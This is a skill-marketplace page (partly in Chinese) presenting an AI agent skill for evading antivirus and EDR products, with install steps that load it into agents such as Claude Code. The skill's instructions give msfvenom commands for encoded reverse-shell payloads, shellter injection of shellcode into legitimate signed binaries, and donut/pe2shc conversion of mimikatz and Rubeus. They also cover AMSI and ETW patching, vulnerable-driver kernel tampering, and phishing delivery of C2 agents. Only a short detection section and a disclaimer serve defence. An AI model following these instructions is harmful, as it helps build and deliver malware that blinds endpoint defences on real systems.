Av Edr Evasion 标志

Av Edr Evasion

社区
brucesongs
av-edr-evasion

AV/EDR evasion covers techniques for bypassing antivirus (AV) and Endpoint Detection/Response (EDR) solutions during payload delivery, execution, and post-exploitation.

Add to TypingMind

概览

发布者brucesongs
代码仓库kali-claw
技能名称av-edr-evasion
星标数
70
复刻数
18
附带文件
16
许可协议MIT
链接
  • Markdown 格式的指令

    模型按需加载 SKILL.md 文件,因此只有在请求确实与该技能匹配时才会消耗 Token。

  • 兼容任何大语言模型

    AI 技能采用纯 Markdown,而非特定提供商的代码,因此可搭配 GPT、Claude、Gemini、Grok 或本地模型使用。

  • 16 个附带文件

    模型执行任务时可读取的脚本、模板和参考资料。这些文件为只读文件,绝不会被执行。

  • 开源

    由 brucesongs 发布于 GitHub。请在安装前查看技能的源文件。

安装

在 TypingMind 中安装 Av Edr Evasion AI 技能,即可搭配任意大语言模型使用;也可以将其放入其他支持读取 SKILL.md 的智能体中。

1

安装到 TypingMind

TypingMind 可直接从 GitHub 文件夹安装技能:读取 SKILL.md,打包资源文件,并将结果保存在本地。

  1. 打开应用,前往“插件 → 技能”。
  2. 选择“从 GitHub 安装”。
  3. 粘贴下方的技能文件夹 URL 并确认。
    https://github.com/brucesongs/kali-claw/tree/main/skills/av-edr-evasion
  4. 请在每个需要使用该技能的聊天中启用它。
依次选择“插件 → 技能 → 添加技能 → 从 GitHub URL 导入”,然后粘贴文件夹 URL 并点击“继续”。
2

安装到其他智能体

任何支持 Agent Skills 格式的智能体都可以使用此技能,只需将文件夹复制到该智能体的技能目录中。

Claude Code — .claude/skills
git clone --depth 1 https://github.com/brucesongs/kali-claw.git /tmp/kali-claw
mkdir -p .claude/skills
cp -r /tmp/kali-claw/skills/av-edr-evasion .claude/skills/av-edr-evasion
复制后,请重启 Claude Code,以加载新技能。

在 TypingMind 中使用此技能

在任意 TypingMind 聊天中启用 Av Edr Evasion,后续即可交由模型处理。技能的名称和描述会放在系统提示词中,一旦请求匹配,模型就会自动加载完整指令,无需您手动调用,且在实际使用前不会消耗 Token。

一旦请求与技能匹配,模型就会自动加载 Av Edr Evasion。

兼容任何 AI 模型

AI 技能是纯 Markdown 指令,而非特定提供商的代码,因此 Av Edr Evasion 不局限于最初适配的模型。只需在 TypingMind 中安装一次,即可搭配 GPT-5、Claude、Gemini、Grok、DeepSeek、Mistral、Llama 或您自行运行的本地模型使用,全程使用您自己的 API 密钥。

  • 仅在需要时加载

    系统提示词中仅包含技能名称和描述。首次遇到匹配的请求时才会加载完整指令,因此技能未使用时,这些指令不会消耗 Token。

  • 在聊天中切换模型

    技能是指令而非代码,因此切换模型不会导致技能失效,新模型会读取同一个 SKILL.md。

技能指令

这是模型会加载的 SKILL.md 内容。请在安装前阅读,因为技能就是模型将遵循的指令。

Skill: AV/EDR Evasion

Supplementary Files:

  • payloads.md -- AV/EDR evasion payload collection: payload generation with msfvenom, PE injection with shellter, framework evasion with veil, .NET shellcode with donut, PE-to-shellcode conversion with pe2shc, encryption with hyperion, custom crypter techniques
  • test-cases.md -- 6 structured test cases covering shellter PE injection, veil payload generation, msfvenom multi-encoder chains, donut .NET assembly conversion, pe2shc PE-to-shellcode conversion, and hyperion encryption

Summary

Av Edr Evasion skill domain covering exploitation operations.

Tools: shellter, veil, msfvenom, donut, pe2shc, hyperion, crypter

Domain: exploitation

MITRE ATT&CK: TA0005-Defense Evasion

Description

AV/EDR evasion covers techniques for bypassing antivirus (AV) and Endpoint Detection/Response (EDR) solutions during payload delivery, execution, and post-exploitation. This skill focuses on defeating static analysis (signature-based detection), dynamic analysis (behavioral monitoring), and heuristic detection used by commercial security products such as Windows Defender, CrowdStrike Falcon, SentinelOne, Carbon Black, and similar platforms.

The core principle is understanding how detection engines work so that payloads can be modified to avoid triggering their rules. Static detection relies on file hashes, byte patterns, and YARA signatures. Dynamic detection monitors API calls, process trees, network connections, and registry modifications. EDR platforms aggregate telemetry from ETW (Event Tracing for Windows), kernel callbacks, and memory scanning to build a behavioral profile of running code.

Key Evasion Surfaces:

  • Static Analysis Bypass: Encoding, encryption, and obfuscation to defeat signature matching and YARA rules
  • Behavioral Evasion: Direct syscalls, API unhooking, and living-off-the-land binaries to avoid behavioral detection
  • In-Memory Execution: Reflective loading, process injection, and shellcode runners that avoid disk-based detection
  • AMSI Bypass: Defeating the Anti-Malware Scan Interface used by Windows Defender and PowerShell
  • ETW Patching: Disabling Event Tracing for Windows to blind EDR telemetry collection

Use Cases

  1. Payload Delivery in Monitored Environments -- Generate payloads that bypass endpoint protection during initial access and delivery phases
  2. Post-Exploitation Tool Execution -- Execute tools and frameworks on endpoints where AV/EDR would normally flag offensive tooling
  3. Red Team Engagement Delivery -- Prepare and test phishing attachments,droppers, and loaders that must evade enterprise EDR
  4. C2 Agent Deployment -- Deploy command-and-control agents that survive behavioral monitoring and periodic scans
  5. Lateral Movement Tool Transfer -- Move tools between hosts without triggering file-transfer or execution alerts

Core Tools

ToolPurposeCommand Example
shellterPE file infection with shellcode injection (preserves original functionality)shellter --file legit.exe --payload reverse_tcp --lhost 10.0.0.1 --lport 4444
veilEvasion framework generating obfuscated payloads in multiple languagesveil -t Evasion -p 1 --msfvenom --list
msfvenomMetasploit payload generator with encoding and format optionsmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o payload.exe
donutGenerate x86/x64 shellcode from .NET assemblies, VBScript, and PE filesdonut -i Rubeus.exe -p "kerberoast" -o rubeus.bin
pe2shcConvert PE executables to position-independent shellcodepe2shc mimikatz.exe mimikatz.bin
hyperionEncrypt PE files with AES-128 to bypass static detectionhyperion payload.exe encrypted.exe
crypterCustom payload encryption wrapper for evading signature detectionVaries by implementation

Methodology

Attack Chain

[1] Assess               [2] Prepare              [3] Obfuscate
  - Identify AV/EDR        - Generate base           - Encode with msfvenom
  - Detection capabilities   payload (msfvenom/       encoders (multi-iteration)
  - Test baseline            custom shellcode)       - Encrypt with hyperion
  - Sandbox fingerprint    - Choose payload type     - Inject with shellter
       |                        |                    - Obfuscate with veil
       v                        v                        |
[4] Convert              [5] Test                 [6] Deliver
  - PE to shellcode         - Test against local     - Deploy via approved
    (pe2shc)                  AV (Windows Defender)   delivery mechanism
  - .NET assembly to       - Submit to sandbox        - Execute via LOLBin
    shellcode (donut)        (any.run, hybrid           - Verify C2 callback
  - Reflective loading       analysis)

Phase Details:

  1. Assess -- Identify the target AV/EDR product and version, understand its detection capabilities (signature, heuristic, behavioral), and test baseline detection rates. Fingerprinting the endpoint protection determines which evasion techniques are most likely to succeed.
  2. Prepare -- Generate a base payload using msfvenom, custom shellcode, or a post-exploitation tool. Choose the appropriate payload type (staged vs. stageless, x86 vs. x64) and output format based on the delivery vector.
  3. Obfuscate -- Apply encoding chains (shikata_ga_nai, xor), encryption (hyperion AES-128), PE injection (shellter), or framework-level evasion (veil) to defeat static analysis. Layering multiple techniques increases evasion success.
  4. Convert -- Transform payloads into formats that bypass specific detection layers: PE-to-shellcode conversion with pe2shc, .NET assembly shellcode generation with donut, or reflective DLL injection for in-memory execution.
  5. Test -- Verify evasion effectiveness against the target AV/EDR product. Use local testing (Windows Defender on a test VM) and sandbox submission (any.run, hybrid analysis) to confirm detection rates before deployment.
  6. Deliver -- Deploy the evaded payload via the approved delivery mechanism (phishing attachment, web download, LOLBin execution, or lateral movement tool transfer). Verify successful execution and C2 callback.

Defense Perspective

Defense MeasureDescriptionEvasion Techniques Countered
Signature-based detectionYARA rules, hash matching, byte-pattern scanningEncoding chains, encryption, custom crypters
Heuristic analysisEmulation, entropy checks, suspicious API detectionPE injection, legitimate binary abuse
Behavioral monitoringProcess tree analysis, API call tracing, ETW telemetryDirect syscalls, API unhooking, LOLBins
AMSI (Anti-Malware Scan Interface)Script content scanning before executionAMSI bypass via memory patching
Memory scanningPeriodic scanning of process memory for injected codeSleep obfuscation, encryption-at-rest in memory
Kernel callbacksKernel-level monitoring of process/thread/image load eventsDKOM, driver manipulation

Practical Steps

1. Target AV/EDR Identification

Before crafting payloads, identify what protection is running on the target endpoint. Use OSINT, phishing telemetry, or network reconnaissance to determine the AV/EDR product and version.

2. Base Payload Generation

Use msfvenom to generate the initial payload with appropriate architecture, format, and connection parameters.

3. Encoding and Encryption

Apply msfvenom encoding chains (multiple iterations of shikata_ga_nai), hyperion AES encryption, or shellter PE injection to defeat static detection signatures.

4. Format Conversion

Convert payloads into delivery-appropriate formats: pe2shc for PE-to-shellcode, donut for .NET assemblies, or custom loaders for in-memory execution.

5. Evasion Testing

Test the final payload against the target AV/EDR and public sandboxes before deployment. Iterate on evasion techniques if detection occurs.

Detailed payloads in payloads.md, complete test checklist in test-cases.md.


Common Pitfalls

  • Relying on a single evasion layer: Encoding alone (e.g., shikata_ga_nai) no longer bypasses modern AV. Layer encoding, encryption, and injection techniques together. A payload that passes static analysis may still trigger behavioral detection when it executes.
  • Testing only against Windows Defender: Enterprise environments run commercial EDR products (CrowdStrike, SentinelOne, Carbon Black) that use kernel-level telemetry, not just signature matching. A payload that evades Defender may be immediately caught by EDR behavioral rules.
  • Ignoring staging vs. stageless trade-offs: Staged payloads (meterpreter/reverse_tcp) download a second stage over the network, which EDR can intercept. Stageless payloads are larger and more likely to trigger static detection but avoid network-based detection. Choose based on the target's detection capabilities.

Automation and Scripting

Automate payload generation and testing by scripting msfvenom with encoding chains and piping the output directly into hyperion for encryption, then submitting the result to an AV testing API for automated detection scoring. Build a shell script that iterates through veil evasion modules and records which payloads achieve zero detections. Use pe2shc and donut in CI/CD pipelines to automatically convert post-exploitation tools into shellcode formats as part of red team infrastructure setup. Script AMSI bypass testing by launching PowerShell with different bypass techniques and measuring which ones allow known-malicious script content to execute without triggering Defender.

Reporting and Documentation

AV/EDR evasion findings should document the specific protection product and version tested, which evasion techniques succeeded and failed, detection scores from public sandboxes, and the complete build chain used to generate the evaded payload. Include the exact msfvenom command, encoding iterations, encryption parameters, and any custom modifications. Report which behavioral detections fired (and which were bypassed) to help defenders understand coverage gaps. Map evasion failures to specific detection rules (signature ID, YARA rule name, or behavioral policy) when possible.

Legal and Ethical Considerations

AV/EDR evasion techniques must only be used within authorized penetration testing or red team engagements with explicit written permission. Submitting payloads to public sandboxes (VirusTotal, Hybrid Analysis) may share samples with AV vendors, causing detection signatures to be created for your payloads. Use malware scanning services with "no-distribution" policies (e.g., masturbator, virusbay) or local test VMs for payload testing during engagements. Never use evasion techniques to deploy actual malware, ransomware, or unauthorized access tools.

Integration with Other Tools

AV/EDR evasion techniques integrate directly with several adjacent skills. Payload generation with msfvenom connects to post-exploitation for meterpreter sessions and lateral movement. Shellcode injection with donut and pe2shc supports executing tools from other domains (mimikatz from password-attack, nmap from network-pentest) on monitored endpoints. AMSI bypass enables PowerShell-based web-auth-bypass and social-engineering attack chains on hardened endpoints. Process injection techniques overlap with binary-reverse for understanding PE structures and code signing.

Case Studies and Examples

  • Shellter injection into legitimate tool: A red team injected shellcode into a legitimate signed utility (Sysinternals tool) using shellter's automatic mode. The resulting binary passed Windows Defender and CrowdStrike static analysis because the original digital signature structure was preserved and the injected shellcode was encrypted within the PE sections.
  • Multi-layer encoding bypass: A penetration tester used msfvenom with 10 iterations of shikata_ga_nai followed by hyperion AES encryption to generate a payload that achieved zero detections on VirusTotal. The key was combining two different evasion techniques (encoding and encryption) rather than relying on either one alone.
  • Donut for .NET tool execution: During an engagement, the Rubeus.exe Kerberos attack tool was converted to shellcode using donut and loaded via a custom reflective loader. This bypassed endpoint protection that was specifically looking for Rubeus.exe file hashes and PowerShell invocation patterns.

Detection and Evasion

Defenders detect evasion attempts through multiple indicators: high entropy in PE sections (suggesting encryption or packing), injection-related API calls (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread), anomalous parent-child process relationships, reflective DLL loading patterns, and AMSI bypass attempts in PowerShell command-line logging. To maximize evasion: combine encoding with encryption, use legitimate binaries as hosts (shellter), execute in memory rather than writing to disk, leverage LOLBins for execution, and patch ETW providers to blind EDR telemetry. Sleep obfuscation techniques (encrypting memory while sleeping) help evade periodic memory scans.

Advanced Techniques

Advanced AV/EDR evasion includes: direct syscall invocation (bypassing ntdll hooks by resolving syscall numbers dynamically), API unhooking (restoring original ntdll bytes from a clean copy on disk), hardware breakpoint injection (using Vectored Exception Handling instead of hooks), process doppelganging (using NTFS transactions to run modified executables without touching disk), and sleep obfuscation (encrypting in-memory payloads between callback intervals). For .NET payloads, AMSI bypass via memory patching (zeroing the AMSI initialize function) combined with assembly loading from byte arrays avoids file-based detection entirely.

Tool Comparison Matrix

ToolBest ForSpeedEvasion QualitySkill Level
shellterPE injection into legitimate binariesModerateHigh (preserves signatures)Beginner
veilFramework-level payload generationFastModerateBeginner
msfvenomBase payload + encoding chainsFastModerate (encoding alone)Beginner
donut.NET assembly to shellcode conversionFastHigh (in-memory execution)Intermediate
pe2shcPE to position-independent shellcodeFastHigh (enables loaders)Intermediate
hyperionAES encryption of PE filesModerateModerate-HighBeginner

Detection Methods

AV/EDR Telemetry Indicators

  • AMSI scan failures: Event ID 1100 (Windows Defender stopped); Event ID 2000-2004 (real-time protection disabled).
  • LSASS access: Non-system process accessing lsass.exe memory; Sysmon Event ID 10.
  • Suspicious process injection: CreateRemoteThread + VirtualAllocEx + WriteProcessMemory chain.
  • PSExec / WMI lateral movement: Sysmon Event ID 1 with parent services.exe or wmiprvse.exe.
  • PatchGuard triggers: BSOD with KERNEL_AUTO_BOOST_INVALID_LOCK_RELEASE (kernel callback tampering).
  • Driver loading: Unsigned driver loads; Event ID 6 (Sysmon); Event ID 4688 (process start with signature).

Behavioral Indicators

  • Process hollowing: Legitimate process (e.g., svchost.exe) with mismatched PE header vs disk image.
  • Reflective DLL loading: DLL loaded from memory (no file on disk); memory region with RWX permissions.
  • Direct syscall: Process executing syscalls without going through ntdll.dll (signature of syscall stub bypass).
  • Token impersonation: Process holding tokens of multiple users; unusual for legitimate services.

SIEM Detection Rules

  • Splunk SPL: index=windows sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=10 TargetImage="*lsass.exe"
  • Sigma rule: sigma/rules/windows/sysmon_lsass_access.yml
  • Microsoft Defender for Endpoint: Native EDR detections for credential theft, process injection.
  • CrowdStrike / SentinelOne: Process ancestry analysis catches most injection patterns.

Defense Evasion Techniques

AMSI/ETW Bypass

  • AMSI patch: Patch amsi.dll!AmsiScanBuffer to return AMSI_RESULT_CLEAN always (0x80070057).
  • ETW patch: Patch ntdll!EtwEventWrite to return success without logging.
  • CLR hooking: Hook .NET CLR to prevent assembly load events from being raised.
  • AMSI unload: Force-unload amsi.dll from process memory before payload execution.
  • Provider disable: Disable specific ETW providers via registry (HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels).

Direct Syscalls

  • SysWhispers2 / SysWhispers3: Generate custom syscall stubs without ntdll imports.
  • HellsGate / HalosGate: Dynamically resolve SSNs by parsing ntdll at runtime.
  • Native API abuse: Use Nt* APIs directly via syscall; bypasses user-mode hooks.
  • Indirect syscalls: Use legitimate ntdll.dll returns address but custom syscall instruction.

Process Injection Stealth

  • Process hollowing over CreateRemoteThread: Replace legitimate process memory; appears as legitimate process.
  • Reflective DLL injection: Load DLL from memory; no file on disk; bypasses AV scanning.
  • APC injection: Queue APC to existing threads; no CreateRemoteThread call.
  • Thread hijacking: Suspend existing thread, modify context, resume; no new thread creation.
  • EarlyBird injection: Queue APC before main thread starts; runs in legitimate process startup.

Driver / Kernel Bypass

  • BYOVD (Bring Your Own Vulnerable Driver): Load legitimately-signed but vulnerable driver (RTCore64.sys, gdrv.sys); use it for kernel R/W.
  • DSE bypass: Disable Driver Signature Enforcement via boot modifications or kernel exploits.
  • Kernel callback removal: Remove PsSetCreateProcessNotifyRoutine callbacks; blind EDR.

EDR Splitting

  • Operation splitting: Spread payload across multiple processes; each does partial work; no single process triggers.
  • Cross-process token theft: Steal token in one process, use in another; confuses EDR correlation.
  • Lateral via WMI/DCOM: Use WMI subscriptions and DCOM to avoid PsExec/WinRM signatures.

Memory-Only Operations

  • memfd_create: Linux; run payload from memory-backed file.
  • Reflective loading: Map PE into process memory without LoadLibrary.
  • Module stomping: Load legitimate DLL, overwrite with payload; appears as legitimate module.
  • Phantom DLL hollowing: Hollow a DLL that is loaded but not actually used.

Performance and Remediation

Payload generation with msfvenom encoding chains is fast (seconds for most payloads), but higher iteration counts (i > 10) produce diminishing returns as modern AV uses entropy-based detection. Hyperion encryption adds approximately 50KB overhead to PE files. Donut shellcode generation from large .NET assemblies (e.g., Rubeus, Seatbelt) produces shellcode binaries of 500KB-2MB, which may trigger size-based heuristics. Prioritize evasion by defense layer: first defeat static analysis (encoding/encryption), then address behavioral detection (in-memory execution, direct syscalls), and finally handle memory scanning (sleep obfuscation). For defenders: layer signature-based, heuristic, behavioral, and memory-scanning detection; do not rely solely on any single detection method.

Hacker Laws

  1. Know Your Enemy -- Effective evasion requires understanding how the target detection engine works. Study the AV/EDR architecture (user-mode hooks, kernel callbacks, ETW providers) before choosing evasion techniques. Blindly applying encoding rarely works against modern EDR.
  2. Defense in Depth Applies to Attackers Too -- Layer multiple evasion techniques (encoding + encryption + injection + behavioral evasion) rather than relying on a single method. Each layer addresses a different detection mechanism.
  3. Living Off the Land -- The most reliable evasion uses tools and binaries already present on the target system (PowerShell, certutil, mshta, wscript). Legitimate system tools are inherently trusted and rarely flagged by behavioral rules.

Learning Resources

This skill's supplementary files: payloads.md, test-cases.md Related skills: skills/post-exploitation/SKILL.md, skills/binary-reverse/SKILL.md, skills/password-attack/SKILL.md External resources:

附带文件

技能加载后,模型会按需读取这些文件。它们仅作为可读文件提供,绝不会被执行。

常见问题

Av Edr Evasion AI 技能有什么作用?

AV/EDR evasion covers techniques for bypassing antivirus (AV) and Endpoint Detection/Response (EDR) solutions during payload delivery, execution, and post-exploitation.

为什么在 TypingMind 中使用 Av Edr Evasion?

因为您只需安装一次,就能搭配任何模型使用。Av Edr Evasion 采用纯 Markdown 格式,而非特定提供商专用的代码,因此同一技能可用于 GPT-5、Claude、Gemini、Grok 或本地模型。您甚至可以在聊天中途切换模型,而不会影响技能的正常使用。TypingMind 使用您自己的 API 密钥,因此您直接向提供商付费,而不是按席位订阅;您的技能和聊天记录也都保留在您自己的存储空间中。

如何在 TypingMind 中安装 Av Edr Evasion?

在 TypingMind 中打开“插件 → 技能 → 从 GitHub 安装”,然后粘贴 https://github.com/brucesongs/kali-claw/tree/main/skills/av-edr-evasion。TypingMind 会读取其中的 SKILL.md,打包相关文件,并将其安装为技能,供您在各个聊天中按需启用。

哪些 AI 模型可以使用 Av Edr Evasion?

您在 TypingMind 中连接的任何模型都可以。AI 技能采用纯 Markdown 指令,而非特定提供商专用的代码,因此 GPT、Claude、Gemini、Grok 和本地模型都能在请求匹配时加载此技能。

Av Edr Evasion 可以搭配多少个 AI 模型使用?

数量不限。只要模型支持技能,您就可以将它与 Av Edr Evasion 搭配使用。GPT、Claude、Gemini、Grok、DeepSeek、Mistral、Llama 等模型都可以通过您自己的 API 密钥接入 TypingMind。

Av Edr Evasion AI 技能免费吗?

是的。brucesongs 已在 GitHub 上根据 MIT 许可证发布了该技能。您只需向自己的 AI 提供商支付所用 Token 的费用。

什么是 AI 技能?

AI 技能是一组可复用的指令,用于教会 AI 模型完成某项特定任务。它遵循开放的 Agent Skills 格式:包含名称和描述的 SKILL.md 文件,以及模型可能需要的脚本、模板或参考文件。模型仅在您的请求与技能匹配时才会读取这些指令,因此已安装的技能在使用前不会产生任何费用。

AI 技能与插件或 MCP 服务器有何不同?

插件或 MCP 服务器为模型提供可调用的新工具,也就是在某处运行并返回结果的代码。AI 技能则为模型提供知识和流程:如何处理任务、遵循哪些步骤,以及怎样的输出才算优质。技能采用纯 Markdown 格式,因此不需要服务器、API 密钥或运行时环境,并且适用于任何模型。

查看全部

立即创建您自己的 AI 工作区

订阅我们的电子简报,获取新功能和后续赠奖活动的通知 👇